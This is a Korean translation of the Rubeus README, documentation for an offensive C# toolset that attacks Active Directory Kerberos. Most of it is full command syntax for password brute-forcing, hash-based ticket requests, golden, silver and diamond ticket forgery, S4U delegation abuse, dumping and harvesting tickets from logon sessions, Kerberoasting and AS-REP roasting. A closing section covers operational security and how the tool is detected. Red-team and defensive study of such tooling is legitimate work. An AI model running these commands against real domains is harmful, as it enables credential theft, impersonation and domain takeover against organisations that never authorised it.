
세 머리 개를 길들이려는 중.
Rubeus는 원시 Kerberos 상호작용 및 남용을 위한 C# 도구 세트입니다. Benjamin Delpy의 Kekeo 프로젝트(CC BY-NC-SA 4.0 라이선스)와 Vincent LE TOUX의 MakeMeEnterpriseAdmin 프로젝트(GPL v3.0 라이선스)에서 크게 차용되었습니다. 무기화의 어려운 부분을 해결한 Benjamin과 Vincent에게 모든 공을 돌립니다. 그들의 선행 작업이 없었다면 이 프로젝트는 존재하지 않았을 것입니다.
Charlie Clark과 Ceri Coburn은 Rubeus 코드베이스의 공동 개발자로서 중요한 기여를 했습니다. Elad Shamir는 리소스 기반 제한 위임을 위한 필수 작업을 기여했습니다. 그들의 작업에 매우 감사드립니다!
Rubeus는 또한 Thomas Pornin의 "MIT-like" 라이선스로 출시된 DDer라는 C# ASN.1 구문 분석/인코딩 라이브러리를 사용합니다. 깔끔하고 안정적인 코드를 제공한 Thomas에게 큰 감사를 드립니다!
PKINIT 코드는 @SteveSyfuhs의 Bruce 도구에서 크게 차용되었습니다. Bruce는 RFC4556(PKINIT)을 훨씬 이해하기 쉽게 만들었습니다. Steve에게 큰 감사를 드립니다!
Kerberos PAC의 NDR 인코딩 및 디코딩은 @tiraniddo의 NtApiDotNet 라이브러리를 기반으로 합니다. James에게 감사드립니다.
Kerberoasting을 위한 KerberosRequestorSecurityToken.GetRequest 메서드는 @machosec이 PowerView에 기여한 후 Rubeus에 통합되었습니다.
@harmj0y는 이 코드베이스의 주요 저자입니다.
Rubeus는 BSD 3-Clause 라이선스로 제공됩니다.
______ _
(_____ \ | |
_____) )_ _| |__ _____ _ _ ___
| __ /| | | | _ \| ___ | | | |/___)
| | \ \| |_| | |_) ) ____| |_| |___ |
|_| |_|____/|____/|_____)____/(___/
v2.3.3
티켓 요청 및 갱신:
사용자 비밀번호/해시를 기반으로 TGT를 검색하고, 선택적으로 파일에 저장하거나 현재 로그온 세션 또는 특정 LUID에 적용합니다:
Rubeus.exe asktgt /user:USER </password:PASSWORD [/enctype:DES|RC4|AES128|AES256] | /des:HASH | /rc4:HASH | /aes128:HASH | /aes256:HASH> [/domain:DOMAIN] [/dc:DOMAIN_CONTROLLER] [/outfile:FILENAME] [/ptt] [/luid] [/nowrap] [/opsec] [/nopac] [/proxyurl:https://KDC_PROXY/kdcproxy] [/suppenctype:DES|RC4|AES128|AES256]
사용자 비밀번호/해시를 기반으로 TGT를 검색하고, 선택적으로 파일에 저장하거나 현재 로그온 세션 또는 특정 LUID에 적용합니다:
Rubeus.exe asktgt /user:USER </password:PASSWORD [/enctype:DES|RC4|AES128|AES256] | /des:HASH | /rc4:HASH | /aes128:HASH | /aes256:HASH> [/domain:DOMAIN] [/dc:DOMAIN_CONTROLLER] [/outfile:FILENAME] [/ptt] [/luid] [/nowrap] [/opsec] [/nopac] [/proxyurl:https://KDC_PROXY/kdcproxy] [/suppenctype:DES|RC4|AES128|AES256]
사용자 비밀번호/해시를 기반으로 TGT를 검색하고, /netonly 프로세스를 시작한 후 티켓을 새 프로세스/로그온 세션에 적용합니다:
Rubeus.exe asktgt /user:USER </password:PASSWORD [/enctype:DES|RC4|AES128|AES256] | /des:HASH | /rc4:HASH | /aes128:HASH | /aes256:HASH> /createnetonly:C:\Windows\System32\cmd.exe [/show] [/domain:DOMAIN] [/dc:DOMAIN_CONTROLLER] [/nowrap] [/opsec] [/nopac] [/proxyurl:https://KDC_PROXY/kdcproxy] [/suppenctype:DES|RC4|AES128|AES256]
PCKS12 인증서를 사용하여 TGT를 검색하고, /netonly 프로세스를 시작한 후 티켓을 새 프로세스/로그온 세션에 적용합니다:
Rubeus.exe asktgt /user:USER /certificate:C:\temp\leaked.pfx </password:STOREPASSWORD> /createnetonly:C:\Windows\System32\cmd.exe [/getcredentials] [/servicekey:KRBTGTKEY] [/show] [/domain:DOMAIN] [/dc:DOMAIN_CONTROLLER] [/nowrap] [/proxyurl:https://KDC_PROXY/kdcproxy] [/suppenctype:DES|RC4|AES128|AES256]
사용자 키 저장소(스마트 카드)에서 인증서의 지문 또는 주제를 지정하여 TGT를 검색하고, /netonly 프로세스를 시작한 후 티켓을 새 프로세스/로그온 세션에 적용합니다:
Rubeus.exe asktgt /user:USER /certificate:f063e6f4798af085946be6cd9d82ba3999c7ebac /createnetonly:C:\Windows\System32\cmd.exe [/show] [/domain:DOMAIN] [/dc:DOMAIN_CONTROLLER] [/suppenctype:DES|RC4|AES128|AES256] [/nowrap]
changepw 명령을 사용하여 만료된 비밀번호로 계정을 변경하기에 적합한 TGT를 검색합니다:
Rubeus.exe asktgt /user:USER </password:PASSWORD /changepw [/enctype:DES|RC4|AES128|AES256] | /des:HASH | /rc4:HASH | /aes128:HASH | /aes256:HASH> [/domain:DOMAIN] [/dc:DOMAIN_CONTROLLER] [/outfile:FILENAME] [/ptt] [/luid] [/nowrap] [/opsec] [/proxyurl:https://KDC_PROXY/kdcproxy]
사전 인증 데이터를 보내지 않고 TGT를 요청합니다:
Rubeus.exe asktgt /user:USER [/domain:DOMAIN] [/dc:DOMAIN_CONTROLLER] [/outfile:FILENAME] [/ptt] [/luid] [/nowrap] [/nopac] [/proxyurl:https://KDC_PROXY/kdcproxy] [/suppenctype:DES|RC4|AES128|AES256]
AS-REQ를 사용하여 서비스 티켓을 요청합니다:
Rubeus.exe asktgt /user:USER /service:SPN </password:PASSWORD [/enctype:DES|RC4|AES128|AES256] | /des:HASH | /rc4:HASH | /aes128:HASH | /aes256:HASH> [/domain:DOMAIN] [/dc:DOMAIN_CONTROLLER] [/outfile:FILENAME] [/ptt] [/luid] [/nowrap] [/opsec] [/nopac] [/oldsam] [/proxyurl:https://KDC_PROXY/kdcproxy] [/suppenctype:DES|RC4|AES128|AES256]
하나 이상의 SPN에 대한 서비스 티켓을 검색하고, 선택적으로 티켓을 저장하거나 적용합니다:
Rubeus.exe asktgs </ticket:BASE64 | /ticket:FILE.KIRBI> </service:SPN1,SPN2,...> [/enctype:DES|RC4|AES128|AES256] [/dc:DOMAIN_CONTROLLER] [/outfile:FILENAME] [/ptt] [/nowrap] [/enterprise] [/opsec] </tgs:BASE64 | /tgs:FILE.KIRBI> [/targetdomain] [/u2u] [/targetuser] [/servicekey:PASSWORDHASH] [/asrepkey:ASREPKEY] [/proxyurl:https://KDC_PROXY/kdcproxy]
Kerberos 키 목록 요청 옵션을 사용하여 서비스 티켓을 검색합니다:
Rubeus.exe asktgs /keyList /service:KRBTGT_SPN </ticket:BASE64 | /ticket:FILE.KIRBI> [/enctype:DES|RC4|AES128|AES256] [/dc:DOMAIN_CONTROLLER] [/outfile:FILENAME] [/ptt] [/nowrap] [/enterprise] [/opsec] </tgs:BASE64 | /tgs:FILE.KIRBI> [/targetdomain] [/u2u] [/targetuser] [/servicekey:PASSWORDHASH] [/asrepkey:ASREPKEY] [/proxyurl:https://KDC_PROXY/kdcproxy]
위임된 관리 서비스 계정 티켓을 검색합니다:
Rubeus.exe asktgs /dmsa /opsec /service:KRBTGT_SPN /targetuser:DMSA_ACCOUNT$ </ticket:BASE64 | /ticket:FILE.KIRBI> [/dc:DOMAIN_CONTROLLER_Win2025] [/outfile:FILENAME] [/ptt] [/nowrap] [/servicekey:PASSWORDHASH] [/asrepkey:ASREPKEY] [/proxyurl:https://KDC_PROXY/kdcproxy]
TGT를 갱신하고, 선택적으로 티켓을 적용, 저장하거나 renew-till 한도까지 자동 갱신합니다:
Rubeus.exe renew </ticket:BASE64 | /ticket:FILE.KIRBI> [/dc:DOMAIN_CONTROLLER] [/outfile:FILENAME] [/ptt] [/autorenew] [/nowrap]
Kerberos 기반 비밀번호 무차별 대입 공격을 수행합니다:
Rubeus.exe brute </password:PASSWORD | /passwords:PASSWORDS_FILE> [/user:USER | /users:USERS_FILE] [/domain:DOMAIN] [/creduser:DOMAIN\\USER & /credpassword:PASSWORD] [/ou:ORGANIZATION_UNIT] [/dc:DOMAIN_CONTROLLER] [/outfile:RESULT_PASSWORD_FILE] [/noticket] [/verbose] [/nowrap]
사전 인증이 필요하지 않은 계정을 스캔합니다:
Rubeus.exe preauthscan /users:C:\temp\users.txt [/domain:DOMAIN] [/dc:DOMAIN_CONTROLLER] [/proxyurl:https://KDC_PROXY/kdcproxy]
제한된 위임 남용:
S4U 제한된 위임 남용을 수행합니다:
Rubeus.exe s4u </ticket:BASE64 | /ticket:FILE.KIRBI> </impersonateuser:USER | /tgs:BASE64 | /tgs:FILE.KIRBI> /msdsspn:SERVICE/SERVER [/altservice:SERVICE] [/dc:DOMAIN_CONTROLLER] [/outfile:FILENAME] [/ptt] [/nowrap] [/opsec] [/self] [/proxyurl:https://KDC_PROXY/kdcproxy] [/createnetonly:C:\Windows\System32\cmd.exe] [/show]
Rubeus.exe s4u /user:USER </rc4:HASH | /aes256:HASH> [/domain:DOMAIN] </impersonateuser:USER | /tgs:BASE64 | /tgs:FILE.KIRBI> /msdsspn:SERVICE/SERVER [/altservice:SERVICE] [/dc:DOMAIN_CONTROLLER] [/outfile:FILENAME] [/ptt] [/nowrap] [/opsec] [/self] [/bronzebit] [/nopac] [/proxyurl:https://KDC_PROXY/kdcproxy] [/createnetonly:C:\Windows\System32\cmd.exe] [/show]
도메인 간 S4U 제한된 위임 남용을 수행합니다:
Rubeus.exe s4u /user:USER </rc4:HASH | /aes256:HASH> [/domain:DOMAIN] </impersonateuser:USER | /tgs:BASE64 | /tgs:FILE.KIRBI> /msdsspn:SERVICE/SERVER /targetdomain:DOMAIN.LOCAL /targetdc:DC.DOMAIN.LOCAL [/altservice:SERVICE] [/dc:DOMAIN_CONTROLLER] [/nowrap] [/self] [/nopac] [/createnetonly:C:\Windows\System32\cmd.exe] [/show]
티켓 위조:
LDAP를 사용하여 관련 정보를 수집하여 골든 티켓을 위조합니다:
Rubeus.exe golden </des:HASH | /rc4:HASH | /aes128:HASH | /aes256:HASH> </user:USERNAME> /ldap [/printcmd] [outfile:FILENAME] [/ptt]
LDAP를 사용하여 관련 정보를 수집하지만 일부 값을 명시적으로 재정의하여 골든 티켓을 위조합니다:
Rubeus.exe golden </des:HASH | /rc4:HASH | /aes128:HASH | /aes256:HASH> </user:USERNAME> /ldap [/dc:DOMAIN_CONTROLLER] [/domain:DOMAIN] [/netbios:NETBIOS_DOMAIN] [/sid:DOMAIN_SID] [/dispalyname:PAC_FULL_NAME] [/badpwdcount:INTEGER] [/flags:TICKET_FLAGS] [/uac:UAC_FLAGS] [/groups:GROUP_IDS] [/pgid:PRIMARY_GID] [/homedir:HOMEDIR] [/homedrive:HOMEDRIVE] [/id:USER_ID] [/logofftime:LOGOFF_TIMESTAMP] [/lastlogon:LOGON_TIMESTAMP] [/logoncount:INTEGER] [/passlastset:PASSWORD_CHANGE_TIMESTAMP] [/maxpassage:RELATIVE_TO_PASSLASTSET] [/minpassage:RELATIVE_TO_PASSLASTSET] [/profilepath:PROFILE_PATH] [/scriptpath:LOGON_SCRIPT_PATH] [/sids:EXTRA_SIDS] [[/resourcegroupsid:RESOURCEGROUPS_SID] [/resourcegroups:GROUP_IDS]] [/authtime:AUTH_TIMESTAMP] [/starttime:Start_TIMESTAMP] [/endtime:RELATIVE_TO_STARTTIME] [/renewtill:RELATIVE_TO_STARTTIME] [/rangeend:RELATIVE_TO_STARTTIME] [/rangeinterval:RELATIVE_INTERVAL] [/oldpac] [/extendedupndns] [/printcmd] [outfile:FILENAME] [/ptt]
값을 명시적으로 설정하여 골든 티켓을 위조합니다:
Rubeus.exe golden </des:HASH | /rc4:HASH | /aes128:HASH | /aes256:HASH> </user:USERNAME> </domain:DOMAIN> </sid:DOMAIN_SID> [/dc:DOMAIN_CONTROLLER] [/netbios:NETBIOS_DOMAIN] [/dispalyname:PAC_FULL_NAME] [/badpwdcount:INTEGER] [/flags:TICKET_FLAGS] [/uac:UAC_FLAGS] [/groups:GROUP_IDS] [/pgid:PRIMARY_GID] [/homedir:HOMEDIR] [/homedrive:HOMEDRIVE] [/id:USER_ID] [/logofftime:LOGOFF_TIMESTAMP] [/lastlogon:LOGON_TIMESTAMP] [/logoncount:INTEGER] [/passlastset:PASSWORD_CHANGE_TIMESTAMP] [/maxpassage:RELATIVE_TO_PASSLASTSET] [/minpassage:RELATIVE_TO_PASSLASTSET] [/profilepath:PROFILE_PATH] [/scriptpath:LOGON_SCRIPT_PATH] [/sids:EXTRA_SIDS] [[/resourcegroupsid:RESOURCEGROUPS_SID] [/resourcegroups:GROUP_IDS]] [/authtime:AUTH_TIMESTAMP] [/starttime:Start_TIMESTAMP] [/endtime:RELATIVE_TO_STARTTIME] [/renewtill:RELATIVE_TO_STARTTIME] [/rangeend:RELATIVE_TO_STARTTIME] [/rangeinterval:RELATIVE_INTERVAL] [/oldpac] [/extendedupndns] [/printcmd] [outfile:FILENAME] [/ptt]
LDAP를 사용하여 관련 정보를 수집하여 실버 티켓을 위조합니다:
Rubeus.exe silver </des:HASH | /rc4:HASH | /aes128:HASH | /aes256:HASH> </user:USERNAME> </service:SPN> /ldap [/extendedupndns] [/nofullpacsig] [/printcmd] [outfile:FILENAME] [/ptt]
LDAP를 사용하여 관련 정보를 수집하고 KRBTGT 키를 사용하여 KDCChecksum 및 TicketChecksum을 계산하여 실버 티켓을 위조합니다:
Rubeus.exe silver </des:HASH | /rc4:HASH | /aes128:HASH | /aes256:HASH> </user:USERNAME> </service:SPN> /ldap </krbkey:HASH> [/krbenctype:DES|RC4|AES128|AES256] [/extendedupndns] [/nofullpacsig] [/printcmd] [outfile:FILENAME] [/ptt]
LDAP를 사용하여 관련 정보를 수집하지만 일부 값을 명시적으로 재정의하여 실버 티켓을 위조합니다:
Rubeus.exe silver </des:HASH | /rc4:HASH | /aes128:HASH | /aes256:HASH> </user:USERNAME> </service:SPN> /ldap [/dc:DOMAIN_CONTROLLER] [/domain:DOMAIN] [/netbios:NETBIOS_DOMAIN] [/sid:DOMAIN_SID] [/dispalyname:PAC_FULL_NAME] [/badpwdcount:INTEGER] [/flags:TICKET_FLAGS] [/uac:UAC_FLAGS] [/groups:GROUP_IDS] [/pgid:PRIMARY_GID] [/homedir:HOMEDIR] [/homedrive:HOMEDRIVE] [/id:USER_ID] [/logofftime:LOGOFF_TIMESTAMP] [/lastlogon:LOGON_TIMESTAMP] [/logoncount:INTEGER] [/passlastset:PASSWORD_CHANGE_TIMESTAMP] [/maxpassage:RELATIVE_TO_PASSLASTSET] [/minpassage:RELATIVE_TO_PASSLASTSET] [/profilepath:PROFILE_PATH] [/scriptpath:LOGON_SCRIPT_PATH] [/sids:EXTRA_SIDS] [[/resourcegroupsid:RESOURCEGROUPS_SID] [/resourcegroups:GROUP_IDS]] [/authtime:AUTH_TIMESTAMP] [/starttime:Start_TIMESTAMP] [/endtime:RELATIVE_TO_STARTTIME] [/renewtill:RELATIVE_TO_STARTTIME] [/rangeend:RELATIVE_TO_STARTTIME] [/rangeinterval:RELATIVE_INTERVAL] [/authdata] [/extendedupndns] [/nofullpacsig] [/printcmd] [outfile:FILENAME] [/ptt]
LDAP를 사용하여 관련 정보를 수집하고 S4U 위임 정보 PAC 섹션을 포함하여 실버 티켓을 위조합니다:
Rubeus.exe silver </des:HASH | /rc4:HASH | /aes128:HASH | /aes256:HASH> </user:USERNAME> </service:SPN> /ldap [/s4uproxytarget:TARGETSPN] [/s4utransitedservices:SPN1,SPN2,...] [/printcmd] [outfile:FILENAME] [/ptt]
LDAP를 사용하여 관련 정보를 수집하고 다른 cname 및 crealm을 설정하여 실버 티켓을 위조합니다:
Rubeus.exe silver </des:HASH | /rc4:HASH | /aes128:HASH | /aes256:HASH> </user:USERNAME> </service:SPN> /ldap [/cname:CLIENTNAME] [/crealm:CLIENTDOMAIN] [/printcmd] [outfile:FILENAME] [/ptt]
값을 명시적으로 설정하여 실버 티켓을 위조합니다:
Rubeus.exe silver </des:HASH | /rc4:HASH | /aes128:HASH | /aes256:HASH> </user:USERNAME> </service:SPN> </domain:DOMAIN> </sid:DOMAIN_SID> [/dc:DOMAIN_CONTROLLER] [/netbios:NETBIOS_DOMAIN] [/dispalyname:PAC_FULL_NAME] [/badpwdcount:INTEGER] [/flags:TICKET_FLAGS] [/uac:UAC_FLAGS] [/groups:GROUP_IDS] [/pgid:PRIMARY_GID] [/homedir:HOMEDIR] [/homedrive:HOMEDRIVE] [/id:USER_ID] [/logofftime:LOGOFF_TIMESTAMP] [/lastlogon:LOGON_TIMESTAMP] [/logoncount:INTEGER] [/passlastset:PASSWORD_CHANGE_TIMESTAMP] [/maxpassage:RELATIVE_TO_PASSLASTSET] [/minpassage:RELATIVE_TO_PASSLASTSET] [/profilepath:PROFILE_PATH] [/scriptpath:LOGON_SCRIPT_PATH] [/sids:EXTRA_SIDS] [[/resourcegroupsid:RESOURCEGROUPS_SID] [/resourcegroups:GROUP_IDS]] [/authtime:AUTH_TIMESTAMP] [/starttime:Start_TIMESTAMP] [/endtime:RELATIVE_TO_STARTTIME] [/renewtill:RELATIVE_TO_STARTTIME] [/rangeend:RELATIVE_TO_STARTTIME] [/rangeinterval:RELATIVE_INTERVAL] [/authdata] [/cname:CLIENTNAME] [/crealm:CLIENTDOMAIN] [/s4uproxytarget:TARGETSPN] [/s4utransitedservices:SPN1,SPN2,...] [/extendedupndns] [/nofullpacsig] [/printcmd] [outfile:FILENAME] [/ptt]
사용자 비밀번호/해시를 기반으로 TGT를 요청하여 다이아몬드 TGT를 위조합니다:
Rubeus.exe diamond /user:USER </password:PASSWORD [/enctype:DES|RC4|AES128|AES256] | /des:HASH | /rc4:HASH | /aes128:HASH | /aes256:HASH> [/createnetonly:C:\Windows\System32\cmd.exe] [/domain:DOMAIN] [/dc:DOMAIN_CONTROLLER] [/outfile:FILENAME] [/ptt] [/luid] [/nowrap] [/krbkey:HASH] [/ticketuser:USERNAME] [/ticketuserid:USER_ID] [/groups:GROUP_IDS] [/sids:EXTRA_SIDS]
PCKS12 인증서를 사용하여 TGT를 요청하여 다이아몬드 TGT를 위조합니다:
Rubeus.exe diamond /user:USER /certificate:C:\temp\leaked.pfx </password:STOREPASSWORD> [/createnetonly:C:\Windows\System32\cmd.exe] [/domain:DOMAIN] [/dc:DOMAIN_CONTROLLER] [/outfile:FILENAME] [/ptt] [/luid] [/nowrap] [/krbkey:HASH] [/ticketuser:USERNAME] [/ticketuserid:USER_ID] [/groups:GROUP_IDS] [/sids:EXTRA_SIDS]
tgtdeleg를 사용하여 TGT를 요청하여 다이아몬드 TGT를 위조합니다:
Rubeus.exe diamond /tgtdeleg [/createnetonly:C:\Windows\System32\cmd.exe] [/outfile:FILENAME] [/ptt] [/luid] [/nowrap] [/krbkey:HASH] [/ticketuser:USERNAME] [/ticketuserid:USER_ID] [/groups:GROUP_IDS] [/sids:EXTRA_SIDS]
티켓 관리:
TGT를 제출하고, 선택적으로 특정 LUID를 대상으로 합니다(상승된 권한인 경우):
Rubeus.exe ptt </ticket:BASE64 | /ticket:FILE.KIRBI> [/luid:LOGINID]
현재 로그온 세션에서 티켓을 제거하고, 선택적으로 특정 LUID를 대상으로 합니다(상승된 권한인 경우):
Rubeus.exe purge [/luid:LOGINID]
티켓(서비스 티켓 또는 TGT)을 구문 분석하고 설명합니다:
Rubeus.exe describe </ticket:BASE64 | /ticket:FILE.KIRBI> [/servicekey:HASH] [/krbkey:HASH] [/asrepkey:HASH] [/serviceuser:USERNAME] [/servicedomain:DOMAIN] [/desplaintext:FIRSTBLOCKTEXT]
티켓 추출 및 수집:
현재 모든 티켓을 분류하고(상승된 권한인 경우 모든 사용자에 대해 나열), 선택적으로 특정 LUID, 사용자 이름 또는 서비스를 대상으로 합니다:
Rubeus.exe triage [/luid:LOGINID] [/user:USER] [/service:krbtgt] [/server:BLAH.DOMAIN.COM]
현재 모든 티켓을 자세히 나열하고(상승된 권한인 경우 모든 사용자에 대해 나열), 선택적으로 특정 LUID를 대상으로 합니다:
Rubeus.exe klist [/luid:LOGINID] [/user:USER] [/service:krbtgt] [/server:BLAH.DOMAIN.COM]
현재 모든 티켓 데이터를 덤프하고(상승된 권한인 경우 모든 사용자에 대해 덤프), 선택적으로 특정 서비스/LUID를 대상으로 합니다:
Rubeus.exe dump [/luid:LOGINID] [/user:USER] [/service:krbtgt] [/server:BLAH.DOMAIN.COM] [/nowrap]
Kerberos GSS-API를 남용하여 위임을 위장함으로써 상승된 권한 없이 현재 사용자에 대한 사용 가능한 TGT .kirbi(세션 키 포함)를 검색합니다:
Rubeus.exe tgtdeleg [/target:SPN]Monitor every /interval SECONDS (default 60) for new TGTs:
Rubeus.exe monitor [/interval:SECONDS] [/targetuser:USER] [/nowrap] [/registry:SOFTWARENAME] [/runfor:SECONDS]
Monitor every /monitorinterval SECONDS (default 60) for new TGTs, auto-renew TGTs, and display the working cache every /displayinterval SECONDS (default 1200):
Rubeus.exe harvest [/monitorinterval:SECONDS] [/displayinterval:SECONDS] [/targetuser:USER] [/nowrap] [/registry:SOFTWARENAME] [/runfor:SECONDS]
로스팅:
Kerberoasting 수행:
Rubeus.exe kerberoast [[/spn:"blah/blah"] | [/spns:C:\temp\spns.txt]] [/user:USER] [/domain:DOMAIN] [/dc:DOMAIN_CONTROLLER] [/ou:"OU=,..."] [/ldaps] [/nowrap]
Kerberoasting 수행, 해시를 파일로 출력:
Rubeus.exe kerberoast /outfile:hashes.txt [[/spn:"blah/blah"] | [/spns:C:\temp\spns.txt]] [/user:USER] [/domain:DOMAIN] [/dc:DOMAIN_CONTROLLER] [/ou:"OU=,..."] [/ldaps]
Kerberoasting 수행, 파일 출력 형식의 해시를 콘솔로 출력:
Rubeus.exe kerberoast /simple [[/spn:"blah/blah"] | [/spns:C:\temp\spns.txt]] [/user:USER] [/domain:DOMAIN] [/dc:DOMAIN_CONTROLLER] [/ou:"OU=,..."] [/ldaps] [/nowrap]
대체 자격 증명으로 Kerberoasting 수행:
Rubeus.exe kerberoast /creduser:DOMAIN.FQDN\USER /credpassword:PASSWORD [/spn:"blah/blah"] [/user:USER] [/domain:DOMAIN] [/dc:DOMAIN_CONTROLLER] [/ou:"OU=,..."] [/ldaps] [/nowrap]
기존 TGT로 Kerberoasting 수행:
Rubeus.exe kerberoast </spn:"blah/blah" | /spns:C:\temp\spns.txt> </ticket:BASE64 | /ticket:FILE.KIRBI> [/nowrap]
엔터프라이즈 주체로 기존 TGT를 사용하여 Kerberoasting 수행:
Rubeus.exe kerberoast </spn:[email protected] | /spns:[email protected],[email protected]> /enterprise </ticket:BASE64 | /ticket:FILE.KIRBI> [/nowrap]
기존 TGT로 Kerberoasting을 수행하고 실패 시 엔터프라이즈 주체로 자동 재시도:
Rubeus.exe kerberoast </ticket:BASE64 | /ticket:FILE.KIRBI> /autoenterprise [/ldaps] [/nowrap]
tgtdeleg 티켓을 사용하여 서비스 티켓을 요청하는 Kerberoasting 수행 - AES 계정에 대해 RC4를 요청:
Rubeus.exe kerberoast /usetgtdeleg [/ldaps] [/nowrap]
"opsec" Kerberoasting 수행, tgtdeleg 사용 및 AES 지원 계정 필터링:
Rubeus.exe kerberoast /rc4opsec [/ldaps] [/nowrap]
실제 티켓 요청 없이 발견된 Kerberoastable 계정에 대한 통계 나열:
Rubeus.exe kerberoast /stats [/ldaps] [/nowrap]
관리자 수가 1인 계정에 대해서만 티켓을 요청하는 Kerberoasting 수행 (사용자 정의 LDAP 필터):
Rubeus.exe kerberoast /ldapfilter:'admincount=1' [/ldaps] [/nowrap]
비밀번호가 2005년 1월 31일에서 2010년 3월 29일 사이에 마지막으로 설정된 계정에 대해서만 티켓을 요청하는 Kerberoasting 수행, 최대 5개의 서비스 티켓 반환:
Rubeus.exe kerberoast /pwdsetafter:01-31-2005 /pwdsetbefore:03-29-2010 /resultlimit:5 [/ldaps] [/nowrap]
지연 시간 5000밀리초, 지터 30%로 Kerberoasting 수행:
Rubeus.exe kerberoast /delay:5000 /jitter:30 [/ldaps] [/nowrap]
AES Kerberoasting 수행:
Rubeus.exe kerberoast /aes [/ldaps] [/nowrap]
사전 인증이 없는 계정을 사용하여 AS-REQ를 전송하여 Kerberoasting 수행:
Rubeus.exe kerberoast </spn:""blah/blah"" | /spns:C:\temp\spns.txt> /nopreauth:USER /domain:DOMAIN [/dc:DOMAIN_CONTROLLER] [/nowrap]
사전 인증이 없는 사용자에 대해 AS-REP "로스팅" 수행:
Rubeus.exe asreproast [/user:USER] [/domain:DOMAIN] [/dc:DOMAIN_CONTROLLER] [/ou:"OU=,..."] [/ldaps] [/des] [/nowrap]
사전 인증이 없는 사용자에 대해 AS-REP "로스팅" 수행, Hashcat 형식을 파일로 출력:
Rubeus.exe asreproast /outfile:hashes.txt /format:hashcat [/user:USER] [/domain:DOMAIN] [/dc:DOMAIN_CONTROLLER] [/ou:"OU=,..."] [/ldaps] [/des]
대체 자격 증명을 사용하여 사전 인증이 없는 사용자에 대해 AS-REP "로스팅" 수행:
Rubeus.exe asreproast /creduser:DOMAIN.FQDN\USER /credpassword:PASSWORD [/user:USER] [/domain:DOMAIN] [/dc:DOMAIN_CONTROLLER] [/ou:"OU,..."] [/ldaps] [/des] [/nowrap]
기타:
/show가 전달되지 않으면 랜덤 /netonly 자격 증명으로 숨겨진 프로그램을 생성하고 PID와 LUID를 표시:
Rubeus.exe createnetonly /program:"C:\Windows\System32\cmd.exe" [/show] [/ticket:BASE64 | /ticket:FILE.KIRBI]
제공된 TGT에서 사용자 비밀번호 재설정 (AoratoPw):
Rubeus.exe changepw </ticket:BASE64 | /ticket:FILE.KIRBI> /new:PASSWORD [/dc:DOMAIN_CONTROLLER] [/targetuser:DOMAIN\USERNAME]
rc4_hmac, aes128_cts_hmac_sha1, aes256_cts_hmac_sha1 및 des_cbc_md5 해시 계산:
Rubeus.exe hash /password:X [/user:USER] [/domain:DOMAIN]
기존 서비스 티켓에 sname 또는 SPN 대체:
Rubeus.exe tgssub </ticket:BASE64 | /ticket:FILE.KIRBI> /altservice:ldap [/srealm:DOMAIN] [/ptt] [/luid] [/nowrap]
Rubeus.exe tgssub </ticket:BASE64 | /ticket:FILE.KIRBI> /altservice:cifs/computer.domain.com [/srealm:DOMAIN] [/ptt] [/luid] [/nowrap]
현재 사용자의 LUID 표시:
Rubeus.exe currentluid
(현재) 또는 (대상) 로그온 세션에 대한 정보 표시, 기본적으로 모두 읽기 가능:
Rubeus.exe logonsession [/current] [/luid:X]
"/consoleoutfile:C:\FILE.txt" 인수는 모든 콘솔 출력을 지정된 파일로 리디렉션합니다.
"/nowrap" 플래그는 base64 티켓 블롭이 어떤 함수에서도 컬럼 래핑되지 않도록 방지합니다.
"/debug" 플래그는 ASN.1 디버깅 정보를 출력합니다.
AS-REP와 키를 Kirbi로 변환:
Rubeus.exe asrep2kirbi /asrep:<BASE64 | FILEPATH> </key:BASE64 | /keyhex:HEXSTRING> [/enctype:DES|RC4|AES128|AES256] [/ptt] [/luid:X] [/nowrap]
Kirbi에 새 DES 세션 키 삽입:
Rubeus.exe kirbi /kirbi:<BASE64 | FILEPATH> /sessionkey:SESSIONKEY /sessionetype:DES|RC4|AES128|AES256 [/ptt] [/luid:X] [outfile:FILENAME] [/nowrap]
참고: Base64 티켓 블롭은 다음을 사용하여 디코딩할 수 있습니다:
[IO.File]::WriteAllBytes("ticket.kirbi", [Convert]::FromBase64String("aa..."))
이 섹션에서는 환경에서 Rubeus를 사용할 때의 운영 보안에 대한 몇 가지 참고 사항을 다루며, Mimikatz와의 접근 방식을 비교/대조하는 일부 기술 예제를 포함합니다. 여기 있는 자료는 향후 확장될 예정입니다.
시스템에서 수행하는 모든 작업은 감지 가능한 위험이며, 특히 기능을 "이상한"/의도하지 않은 방식으로 남용할 때 그렇습니다. Rubeus(다른 공격자 도구 세트와 마찬가지로)는 호스트, 네트워크 또는 도메인 관점에서 여러 가지 방법으로 감지될 수 있습니다. 제 동료 중 한 분은 "누군가 그것을 찾기 전까지는 모든 것이 은밀하다" 라고 말하기를 좋아합니다. 도구와 기술은 일반적으로 a) 사람들이 도구/기술을 충분히 인지하지 못하여 찾고 있지 않거나, b) 사람들이 필요한 데이터를 적절한 규모로 수집 및 처리할 수 없거나, c) 도구/기술이 환경의 오탐지와 함께 충분히 은밀하게 혼합되기 때문에 탐지를 회피합니다. 이러한 단계와 탐지 회피에 대한 더 많은 정보는 Matt Graeber와 Lee Christensen의 Black Hat USA 2018 "Subverting Sysmon" 발표와 관련 백서에서 확인할 수 있습니다.
호스트 관점에서 Rubeus는 코드 자체의 초기 무기화 단계, 비정상적인(non-lsass.exe) 프로세스가 원시 Kerberos 포트 88 트래픽을 발행하는 경우, LsaCallAuthenticationPackage()와 같은 민감한 API를 사용하는 경우, 또는 호스트에 비정상적인 티켓(예: 현대 환경에서 티켓에 rc4_hmac 사용)이 존재하는 경우에 탐지될 수 있습니다.
네트워크 또는 도메인 컨트롤러 로그 관점에서, Rubeus는 일반 Kerberos 프로토콜의 여러 부분을 구현하기 때문에 주요 탐지 방법은 Kerberos 교환에서 rc4_hmac 사용과 관련됩니다. 현대 Windows 도메인(기능 수준 2008 이상)은 일반 Kerberos 교환에서 기본적으로 AES 암호화를 사용합니다(영역 간 신뢰 티켓과 같은 몇 가지 예외 제외). Kerberos 교환에서 aes256_cts_hmac_sha1(또는 aes128) 키 대신 rc4_hmac(NTLM) 해시를 사용하면 호스트 수준, 네트워크 수준(Kerberos 트래픽이 파싱되는 경우) 및 도메인 컨트롤러 이벤트 로그 수준에서 탐지 가능한 신호가 발생하며, 이를 "암호화 다운그레이드"라고도 합니다.
